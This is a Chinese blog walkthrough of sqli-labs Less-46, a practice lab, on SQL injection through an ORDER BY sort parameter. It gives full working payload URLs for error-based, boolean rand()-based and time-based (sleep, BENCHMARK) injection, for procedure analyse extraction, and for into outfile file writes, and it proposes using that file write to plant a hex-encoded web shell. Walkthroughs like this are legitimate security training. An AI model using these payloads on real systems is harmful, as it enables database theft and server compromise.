Sqli-labs less 46
2016-08-11 21:42
369 查看
Less-46
从本关开始,我们开始学习order by 相关注入的知识。本关的sql语句为$sql = "SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214206968-1040995908.png)
我们可利用order by后的一些参数进行注入。
首先
(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214208484-226735019.png)
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214209828-233732306.png)
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入例子
http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214212515-1640673456.png)
上述例子,可以看到root@localhost的用户名
接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214214453-318205128.png)
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214216296-1391834321.png)
从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
延时注入例子
http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
上述两个延时注入的例子可以很明显的看出时间的不同,这里就不贴图了,图片无法展示延时。。。
同时也可以用?sort=1 and 后添加注入语句。这里就不一一演示了。
procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
以下为示范例
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214219703-246276581.png)
导入导出文件into outfile参数 http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214221640-1879673458.png)
将查询结果导入到文件当中
![](https://images2015.cnblogs.com/blog/669054/201608/669054-20160811214222718-942310005.png)
那这个时候我们可以考虑上传网马,利用lines terminated by。
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)
相关文章推荐
- Sqli-labs less 65
- Sqli-labs less 44
- Sqli-labs less 29
- Sqli-labs less 9
- Sqli-labs之Less1-10
- Sqli-labs less 64
- Sqli-labs less 28a
- Sqli-labs less 22
- Sqli-labs less 8
- Sqli-labs less 42
- Sqli-labs less 28
- Sqli-labs less 19
- Sqli-labs less 7
- Sqli-labs less 41
- Sqli-labs less 27a
- Sqli-labs less 20
- Sqli-labs less 6
- SQLi-Labs 练习总结 Page-1 Less-1
- sqli-labs Less(1-35) 小结
- Sqli-labs less 39